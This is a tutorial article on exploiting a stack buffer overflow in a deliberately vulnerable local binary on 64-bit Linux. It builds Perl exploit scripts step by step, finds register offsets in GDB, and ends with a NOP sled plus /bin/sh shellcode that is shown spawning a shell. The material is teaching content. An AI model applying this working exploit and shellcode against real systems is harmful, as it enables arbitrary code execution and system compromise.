Secure coding

Buffer overflow exploitation case study

Srinivas
August 31, 2020 by
Srinivas

In the previous article, we briefly discussed buffer overflow vulnerabilities and their types. We also discussed how one can analyze crash dumps to understand the situation of a program at the time of the crash.

In this article, let’s take a look at how to exploit a stack buffer overflow vulnerability.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Crashing the program

In the previous article, we have discussed how to crash the program. We used a large buffer of 300 As to crash the program using the following template.

exploit1.pl

#!/usr/bin/perl

$| = 1;

$junk = "A" x 300;

print $junk;

We have passed 300 As and we don't know which 8 are among those three hundred As overwriting the RBP register. We want to be able to find that exact offset overwriting the RBP register. If we can find out the offset of which 8 As are actually overwriting the RBP register, we will be able to find out the offset. That will help us to redirect the program flow to some code that is written by us.

Finding offset to overwrite EIP

Since we know that there is a crash with 300 characters, to proceed further with the analysis, let’s once again load the executable directly instead of analyzing the core file.

gdb -q ./vulnerable

GEF for linux ready, type `gef' to start, `gef config' to configure

75 commands loaded for GDB 9.1 using Python engine 3.8

[*] 5 commands could not be loaded, run `gef missing` to know why.

Reading symbols from ./vulnerable...

(No debugging symbols found in ./vulnerable)

gef➤  

Now, let's run the command pattern create 300 within GEF terminal.This is going to produce a pattern with a length of 300. We can use this pattern instead of three hundred As so we will be able to identify which four characters are actually overwriting RBP.

gef➤  pattern create 300

[+] Generating a pattern of 300 bytes

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

[+] Saved as '$_gef0'

gef➤  

Let’s copy the pattern and paste it into the following file.

exploit2.pl

#!/usr/bin/perl

$| = 1;

$junk = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa";

print $junk;

Now let's run this exploit2.pl and save it into a file called payload2.

$ ./exploit2.pl > payload2

Now let's load the application once again using GDB and let's start running this binary using run and let us pass the content of payload2 as the argument to this program and run it.

$ gdb -q ./vulnerable

GEF for linux ready, type `gef' to start, `gef config' to configure

75 commands loaded for GDB 9.1 using Python engine 3.8

[*] 5 commands could not be loaded, run `gef missing` to know why.

Reading symbols from ./vulnerable...

(No debugging symbols found in ./vulnerable)

gef➤  

gef➤  r $(cat payload2)

Starting program: /home/dev/x86_64/simple_bof/vulnerable $(cat payload2)

Program received signal SIGSEGV, Segmentation fault.

0x00005555555551ad in vuln_func ()

 

If you notice, the application crashed and once again there is a segmentation fault. But, we cannot derive any conclusions just by looking at the address that caused the segmentation fault. Let’s examine the registers by using info registers and check if we can notice anything useful.

gef➤  info registers

rax            0x7fffffffdd00      0x7fffffffdd00

rbx            0x5555555551b0      0x5555555551b0

rcx            0x10000             0x10000

rdx            0x10                0x10

rsi            0x7fffffffe3a0      0x7fffffffe3a0

rdi            0x7fffffffde1c      0x7fffffffde1c

rbp            0x6261616161616168  0x6261616161616168

rsp            0x7fffffffde08      0x7fffffffde08

r8             0x0                 0x0

r9             0x7ffff7fe0d50      0x7ffff7fe0d50

r10            0x0                 0x0

r11            0x0                 0x0

r12            0x555555555060      0x555555555060

r13            0x7fffffffdf10      0x7fffffffdf10

r14            0x0                 0x0

r15            0x0                 0x0

rip            0x5555555551ad      0x5555555551ad <vuln_func+49>

eflags         0x10246             [ PF ZF IF RF ]

cs             0x33                0x33

ss             0x2b                0x2b

ds             0x0                 0x0

es             0x0                 0x0

fs             0x0                 0x0

gs             0x0                 0x0

gef➤ 

There doesn't seem to be any pattern overwriting RIP, but once again, RBP appears to have been overwritten with 8 bytes from our payload. Let’s confirm that by using the pattern search command from GEF.

gef➤  pattern search 0x6261616161616168

[+] Searching '0x6261616161616168'

[+] Found at offset 256 (little-endian search) likely

gef➤ 

The pattern is found after 256 bytes. So we found the offset to RBP, which is 256 bytes. Even though we are unable to overwrite RIP, we can calculate the possible offset to RIP based on the offset to RBP. RIP will be overwritten immediately after RBP. The offset to RIP should be 256 + 8 = 264 bytes. Let’s update our perl script.

exploit3.pl

#!/usr/bin/perl

$| = 1;

$junk = "A" x 256; # Offset to RBP

$junk .= "B" x 8;  # RBP

$junk .= "C" x 8;  # RIP

print $junk;

With this new payload, if everything goes as expected, we should see 8 Bs in RBP and 8 Cs in RIP.

Now let's run this exploit3.pl and save it into our file called payload3. 

$ ./exploit3.pl > payload3

Let's load the application once again using GDB, start running this binary using run and pass the content of payload3 as the argument to this program and run it.

$ gdb -q ./vulnerable

GEF for linux ready, type `gef' to start, `gef config' to configure

75 commands loaded for GDB 9.1 using Python engine 3.8

[*] 5 commands could not be loaded, run `gef missing` to know why.

Reading symbols from ./vulnerable...

(No debugging symbols found in ./vulnerable)

gef➤  r $(cat payload3)

Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload3)

Program received signal SIGSEGV, Segmentation fault.

0x00005555555551ad in vuln_func ()

Once again, the application crashed and the segmentation fault does not seem to show anything useful. Let’s run info registers and observe the registers once again.

gef➤  info registers

rax            0x7fffffffdd20      0x7fffffffdd20

rbx            0x5555555551b0      0x5555555551b0

rcx            0x10000             0x10000

rdx            0x10                0x10

rsi            0x7fffffffe3a0      0x7fffffffe3a0

rdi            0x7fffffffde20      0x7fffffffde20

rbp            0x4242424242424242  0x4242424242424242

rsp            0x7fffffffde28      0x7fffffffde28

r8             0x0                 0x0

r9             0x7ffff7fe0d50      0x7ffff7fe0d50

r10            0x0                 0x0

r11            0x0                 0x0

r12            0x555555555060      0x555555555060

r13            0x7fffffffdf30      0x7fffffffdf30

r14            0x0                 0x0

r15            0x0                 0x0

rip            0x5555555551ad      0x5555555551ad <vuln_func+49>

eflags         0x10246             [ PF ZF IF RF ]

cs             0x33                0x33

ss             0x2b                0x2b

ds             0x0                 0x0

es             0x0                 0x0

fs             0x0                 0x0

gs             0x0                 0x0

gef➤  

The RBP register has 8 Bs as expected, but the RIP register does not contain 8 Cs.

In 64-bit architecture, it is worth knowing about the usable address space. This usable address space is from 0x0000000000000000 to 0x00007FFFFFFFFFFF. These addresses are called canonical addresses. Attempting to use non-canonical addresses (from 0x0000800000000000 to 0xFFFF7FFFFFFFFFFF) will cause a segmentation fault. So far, we have been noticing the segmentation faults due to the fact that we were overwriting RIP with a non-canonical address instead of an address from a valid range. This simply means we cannot overwrite all 64 bits of the RIP register. We should overwrite the lower 48 bits only to avoid segmentation fault.

Check the output of vmmap, and we should see that all the entries are only in the canonical address range.

gef➤  vmmap

[ Legend:  Code | Heap | Stack ]

Start              End                Offset             Perm Path

0x0000555555554000 0x0000555555557000 0x0000000000000000 r-x /home/worker1/x86_64/simple_bof/vulnerable

0x0000555555557000 0x0000555555558000 0x0000000000002000 r-x /home/worker1/x86_64/simple_bof/vulnerable

0x0000555555558000 0x0000555555559000 0x0000000000003000 rwx /home/worker1/x86_64/simple_bof/vulnerable

0x00007ffff7dc6000 0x00007ffff7fad000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so

0x00007ffff7fad000 0x00007ffff7fae000 0x00000000001e7000 --- /usr/lib/x86_64-linux-gnu/libc-2.31.so

0x00007ffff7fae000 0x00007ffff7fb1000 0x00000000001e7000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so

0x00007ffff7fb1000 0x00007ffff7fb4000 0x00000000001ea000 rwx /usr/lib/x86_64-linux-gnu/libc-2.31.so

0x00007ffff7fb4000 0x00007ffff7fba000 0x0000000000000000 rwx 

0x00007ffff7fcb000 0x00007ffff7fce000 0x0000000000000000 r-- [vvar]

0x00007ffff7fce000 0x00007ffff7fcf000 0x0000000000000000 r-x [vdso]

0x00007ffff7fcf000 0x00007ffff7ffb000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so

0x00007ffff7ffc000 0x00007ffff7ffd000 0x000000000002c000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so

0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002d000 rwx /usr/lib/x86_64-linux-gnu/ld-2.31.so

0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx 

0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]

0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

gef➤  

As you can see, all the lines excluding the last one describe memory regions in user space and all of their first 2 bytes are set to 0. 

The last line (i.e. 0xffffffffff600000…​[vsyscall]) refers to a 4 KB page in the kernel space which has been mapped into the user space. The key takeaway here is that all the user space addresses are in canonical address range.

Keeping this in mind, let’s overwrite RIP register with 6 bytes instead of 8. Let’s update the exploit.

exploit4.pl

#!/usr/bin/perl

$| = 1;

$junk = "A" x 256; # Offset to RBP

$junk .= "B" x 8;  # RBP

$junk .= "C" x 6;  # RIP

print $junk;

If all our theory is correct, after executing the payload generated from this file, we should see 6 Cs overwriting RIP register if everything goes as expected.

Now let's run this exploit4.pl and save it into our file called payload4. 

$ ./exploit4.pl > payload4

Let's load the application once again using GDB and start running this binary using run. Let’s pass the content of payload4 as the argument to this program and run it.

$ gdb -q ./vulnerable

GEF for linux ready, type `gef' to start, `gef config' to configure

75 commands loaded for GDB 9.1 using Python engine 3.8

[*] 5 commands could not be loaded, run `gef missing` to know why.

Reading symbols from ./vulnerable...

(No debugging symbols found in ./vulnerable)

gef➤  r $(cat payload4)

Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload4)

Program received signal SIGSEGV, Segmentation fault.

0x0000434343434343 in ?? ()

We managed to successfully overwrite RIP register and this time, the segmentation fault clearly shows that our address 434343434343 in RIP has caused this crash. Let’s quickly confirm it by checking the registers.

gef➤  info registers

rax            0x7fffffffdd20      0x7fffffffdd20

rbx            0x5555555551b0      0x5555555551b0

rcx            0x10000             0x10000

rdx            0x10                0x10

rsi            0x7fffffffe3a0      0x7fffffffe3a0

rdi            0x7fffffffde1e      0x7fffffffde1e

rbp            0x4242424242424242  0x4242424242424242

rsp            0x7fffffffde30      0x7fffffffde30

r8             0x0                 0x0

r9             0x7ffff7fe0d50      0x7ffff7fe0d50

r10            0x0                 0x0

r11            0x0                 0x0

r12            0x555555555060      0x555555555060

r13            0x7fffffffdf30      0x7fffffffdf30

r14            0x0                 0x0

r15            0x0                 0x0

rip            0x434343434343      0x434343434343

eflags         0x10246             [ PF ZF IF RF ]

cs             0x33                0x33

ss             0x2b                0x2b

ds             0x0                 0x0

es             0x0                 0x0

fs             0x0                 0x0

gs             0x0                 0x0

gef➤  

As we can see, we are able to control the RIP register.

Let’s also observe the stack by printing out values from $rsp-280. This should give us a better understanding of what we have placed on the stack so far. 

gef➤  x/50gx $rsp-280

0x7fffffffdd18: 0x00007fffffffe2a3 0x4141414141414141

0x7fffffffdd28: 0x4141414141414141 0x4141414141414141

0x7fffffffdd38: 0x4141414141414141 0x4141414141414141

0x7fffffffdd48: 0x4141414141414141 0x4141414141414141

0x7fffffffdd58: 0x4141414141414141 0x4141414141414141

0x7fffffffdd68: 0x4141414141414141 0x4141414141414141

0x7fffffffdd78: 0x4141414141414141 0x4141414141414141

0x7fffffffdd88: 0x4141414141414141 0x4141414141414141

0x7fffffffdd98: 0x4141414141414141 0x4141414141414141

0x7fffffffdda8: 0x4141414141414141 0x4141414141414141

0x7fffffffddb8: 0x4141414141414141 0x4141414141414141

0x7fffffffddc8: 0x4141414141414141 0x4141414141414141

0x7fffffffddd8: 0x4141414141414141 0x4141414141414141

0x7fffffffdde8: 0x4141414141414141 0x4141414141414141

0x7fffffffddf8: 0x4141414141414141 0x4141414141414141

0x7fffffffde08: 0x4141414141414141 0x4141414141414141

0x7fffffffde18: 0x4141414141414141 0x4242424242424242

0x7fffffffde28: 0x0000434343434343 0x00007fffffffdf38

0x7fffffffde38: 0x0000000200000000 0x0000000000000000

0x7fffffffde48: 0x00007ffff7ded0b3 0x00007ffff7ffc620

0x7fffffffde58: 0x00007fffffffdf38 0x0000000200000000

0x7fffffffde68: 0x0000000000401136 0x00000000004011a0

0x7fffffffde78: 0x69a74407a60879db 0x0000000000401050

0x7fffffffde88: 0x00007fffffffdf30 0x0000000000000000

0x7fffffffde98: 0x0000000000000000 0x9658bbf81aa879db

gef➤  

g in the command shows 64-bit values.

If you look at the output, there are a bunch of As, followed by 0x4242424242424242 and then 6 Cs. Everything that we have placed inside the buffer is currently available on the stack and that's a good news.

The key takeaway from this observation is that we managed to identify how much junk is required to be able to control the RIP register. We also noticed that most of the characters we are placing in the buffer are available on the stack.

Redirecting execution and executing shellcode

Let's discuss how we can make use of the space controllable by us on the stack. Let's also discuss how we can make use of the control we have on the RIP register. A simple idea here is that we will place  some shellcode in the beginning of the buffer and then force this RIP register to execute the shellcode we placed. 

Shellcode is a sequence of instructions that your machine can execute directly. We don't have to worry about compiling shellcode because shellcode is something that can be understood and executed by the CPU directly. So in the space that we have on the stack we can place some shellcode because it can be directly executed by the CPU. There are multiple resources available online where shellcode is publicly available. We are going to take this shell code from http://shell-storm.org/ for this exercise, which is available at http://shell-storm.org/shellcode/files/shellcode-806.php.

This shellcode, when executed, is going to execute /bin/sh.

/*

 * Execute /bin/sh - 27 bytes

 * Dad` <3 baboon

;rdi            0x4005c4 0x4005c4

;rsi            0x7fffffffdf40   0x7fffffffdf40

;rdx            0x0      0x0

;gdb$ x/s $rdi

;0x4005c4:        "/bin/sh"

;gdb$ x/s $rsi

;0x7fffffffdf40:  "30405@"

;gdb$ x/32xb $rsi

;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00

;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00

;

;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b

;   0x7ffff7aeff25 <execve+5>:   syscall 

;

main:

    ;mov rbx, 0x68732f6e69622f2f

    ;mov rbx, 0x68732f6e69622fff

    ;shr rbx, 0x8

    ;mov rax, 0xdeadbeefcafe1dea

    ;mov rbx, 0xdeadbeefcafe1dea

    ;mov rcx, 0xdeadbeefcafe1dea

    ;mov rdx, 0xdeadbeefcafe1dea

    xor eax, eax

    mov rbx, 0xFF978CD091969DD1

    neg rbx

    push rbx

    ;mov rdi, rsp

    push rsp

    pop rdi

    cdq

    push rdx

    push rdi

    ;mov rsi, rsp

    push rsp

    pop rsi

    mov al, 0x3b

    syscall

 */

#include <stdio.h>

#include <string.h>

char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

int main()

{

    printf("len:%d bytesn", strlen(code));

    (*(void(*)()) code)();

    return 0;

}

Let's copy the highlighted shellcode into our exploit, as shown below.

exploit5.pl

#!/usr/bin/perl

$| = 1;

$shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

$junk = "A" x 256; # Offset to RBP

$junk .= "B" x 8;  # RBP

$junk .= "C" x 6;  # RIP

print $junk;

The shellcode taken from shell-storm.org is now placed in our exploit.

Now where do we place this shellcode in our buffer? Let’s examine the stack once again.

gef➤  x/50gx $rsp-280

0x7fffffffdd18: 0x00007fffffffe2a3 0x4141414141414141

0x7fffffffdd28: 0x4141414141414141 0x4141414141414141

0x7fffffffdd38: 0x4141414141414141 0x4141414141414141

0x7fffffffdd48: 0x4141414141414141 0x4141414141414141

0x7fffffffdd58: 0x4141414141414141 0x4141414141414141

0x7fffffffdd68: 0x4141414141414141 0x4141414141414141

0x7fffffffdd78: 0x4141414141414141 0x4141414141414141

0x7fffffffdd88: 0x4141414141414141 0x4141414141414141

0x7fffffffdd98: 0x4141414141414141 0x4141414141414141

0x7fffffffdda8: 0x4141414141414141 0x4141414141414141

0x7fffffffddb8: 0x4141414141414141 0x4141414141414141

0x7fffffffddc8: 0x4141414141414141 0x4141414141414141

0x7fffffffddd8: 0x4141414141414141 0x4141414141414141

0x7fffffffdde8: 0x4141414141414141 0x4141414141414141

0x7fffffffddf8: 0x4141414141414141 0x4141414141414141

0x7fffffffde08: 0x4141414141414141 0x4141414141414141

0x7fffffffde18: 0x4141414141414141 0x4242424242424242

0x7fffffffde28: 0x0000434343434343 0x00007fffffffdf38

0x7fffffffde38: 0x0000000200000000 0x0000000000000000

0x7fffffffde48: 0x00007ffff7ded0b3 0x00007ffff7ffc620

0x7fffffffde58: 0x00007fffffffdf38 0x0000000200000000

0x7fffffffde68: 0x0000000000401136 0x00000000004011a0

0x7fffffffde78: 0x69a74407a60879db 0x0000000000401050

0x7fffffffde88: 0x00007fffffffdf30 0x0000000000000000

0x7fffffffde98: 0x0000000000000000 0x9658bbf81aa879db

gef➤  

Finalizing the working exploit

Now let's see how we can replace the 6 Cs so the execution will be redirected onto our shellcode. So let's find an address that points to the shellcode and let's try to overwrite the RIP with that address. The address 0x7fffffffdd28 is pointing to the beginning of our buffer. We can hardcode this address in RIP and place shellcode in the beginning of our buffer instead of As. To give some room for error, let’s place a small nop sled in before the shellcode. NOP stands for no operation and it basically does nothing but just passing the execution to the next instruction.

The reason we're going to use this NOP sled here is when we control the RIP and pass the execution to this, NOP sled basically does nothing but sliding the execution towards the shellcode. At some point of time, the execution will land on the shellcode and our shellcode gets executed. 

Following is the exploit with these changes.

exploit6.pl

#!/usr/bin/perl

$| = 1;

$nops = "x90" x 30;

$shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

$junk = "A" x (256-length($shellcode)-length($nops));

$junk .= "B" x 8;  # RBP

$junk .= "x28xddxffxffxffx7f"; # RIP

print $nops . $shellcode . $junk;

As we can see in the exploit, we are using 30 NOPS,  followed by the /bin/sh shellcode.

We are printing the NOP sled, followed by shellcode and then we have junk, which will fill the remaining buffer until we reach RBP. 8 Bs are used to overwrite RBP and finally, RIP is filled with the address that is pointing to our NOP sled.

 Let’s run the exploit against our vulnerable program and check if it works.

$ ./exploit6.pl > payload6

$ gdb -q ./vulnerable

GEF for linux ready, type `gef' to start, `gef config' to configure

75 commands loaded for GDB 9.1 using Python engine 3.8

[*] 5 commands could not be loaded, run `gef missing` to know why.

Reading symbols from ./vulnerable...

(No debugging symbols found in ./vulnerable)

gef➤  r $(cat payload6)

Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload6)

process 60956 is executing new program: /usr/bin/dash

$ id

[Detaching after fork from child process 61255]

uid=1000(worker1) gid=1000(worker1) groups=1000(worker1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)

$ uname -a

[Detaching after fork from child process 61331]

Linux worker1 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

The exploit has worked.

If we try the same exploit outside GDB, the exploit may not work — and it may through a segmentation fault.

$ ./vulnerable $(cat payload6)

Segmentation fault (core dumped)

$

Let’s obtain the core file generated from the segmentation fault and examine how we can fix our exploit so that it works outside GDB.

$ gdb -q -core core

GEF for linux ready, type `gef' to start, `gef config' to configure

75 commands loaded for GDB 9.1 using Python engine 3.8

[*] 5 commands could not be loaded, run `gef missing` to know why.

[New LWP 68610]

Python Exception <class 'UnicodeDecodeError'> 'utf-8' codec can't decode byte 0x90 in position 20: invalid start byte: 

Core was generated by `./vulnerable ������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAA'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0x00007fffffffdd50 in ?? ()

gef➤  

Let us examine the contents from $rsp-350.

gef➤  x/50gx $rsp-350

0x7fffffffdd32: 0x0000000000000000 0x0000000000000000

0x7fffffffdd42: 0x0000000000000000 0x11a0000000000000

0x7fffffffdd52: 0xe190000000000040 0x000000007ffff7ff

0x7fffffffdd62: 0x1198000000000000 0x0000000000000040

0x7fffffffdd72: 0xe2d5000000000000 0x909000007fffffff

0x7fffffffdd82: 0x9090909090909090 0x9090909090909090

0x7fffffffdd92: 0x9090909090909090 0xbb48c03190909090

0x7fffffffdda2: 0xff978cd091969dd1 0x52995f5453dbf748

0x7fffffffddb2: 0x41050f3bb05e5457 0x4141414141414141

0x7fffffffddc2: 0x4141414141414141 0x4141414141414141

0x7fffffffddd2: 0x4141414141414141 0x4141414141414141

0x7fffffffdde2: 0x4141414141414141 0x4141414141414141

0x7fffffffddf2: 0x4141414141414141 0x4141414141414141

0x7fffffffde02: 0x4141414141414141 0x4141414141414141

0x7fffffffde12: 0x4141414141414141 0x4141414141414141

0x7fffffffde22: 0x4141414141414141 0x4141414141414141

0x7fffffffde32: 0x4141414141414141 0x4141414141414141

0x7fffffffde42: 0x4141414141414141 0x4141414141414141

0x7fffffffde52: 0x4141414141414141 0x4141414141414141

0x7fffffffde62: 0x4141414141414141 0x4141414141414141

0x7fffffffde72: 0x4141414141414141 0x4242414141414141

0x7fffffffde82: 0xdd28424242424242 0xdf9800007fffffff

0x7fffffffde92: 0x000000007fffffff 0x0000000000020000

0x7fffffffdea2: 0xd0b3000000000000 0xc62000007ffff7de

0x7fffffffdeb2: 0xdf9800007ffff7ff 0x000000007fffffff

gef➤  

If you notice, 0x7fffffffdd82 is the address pointing to our NOP sled outside GDB and we used a different address that was causing a segfault. Let’s fix the exploit.

exploit6.pl

#!/usr/bin/perl

$| = 1;

$nops = "x90" x 30;

$shellcode = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

$junk = "A" x (256-length($shellcode)-length($nops));

$junk .= "B" x 8;  # RBP

$junk .= "x82xddxffxffxffx7f"; # RIP

print $nops . $shellcode . $junk;

 

Run the exploit and it should work.

~/x86_64/simple_bof$ ./exploit6.pl > payload6

~/x86_64/simple_bof$ ./vulnerable $(cat payload6)

$   

Our exploit successfully worked outside GDB.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Conclusion

In this article, we discussed a case study of how a simple stack-based buffer overflow vulnerability can be exploited on a modern Linux 64-bit machine. To keep the exploitation steps simple, we disabled all the exploit mitigation techniques. 

In the next article, we will discuss various exploit mitigation techniques to prevent buffer overflow attacks.

Sources

  1. Buffer Overflow, OWASP
  2. Stack-Based Buffer Overflow Attacks: Explained and Examples, Rapid7
  3. What Is a Buffer Overflow, Acunetix
Srinivas
Srinivas

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com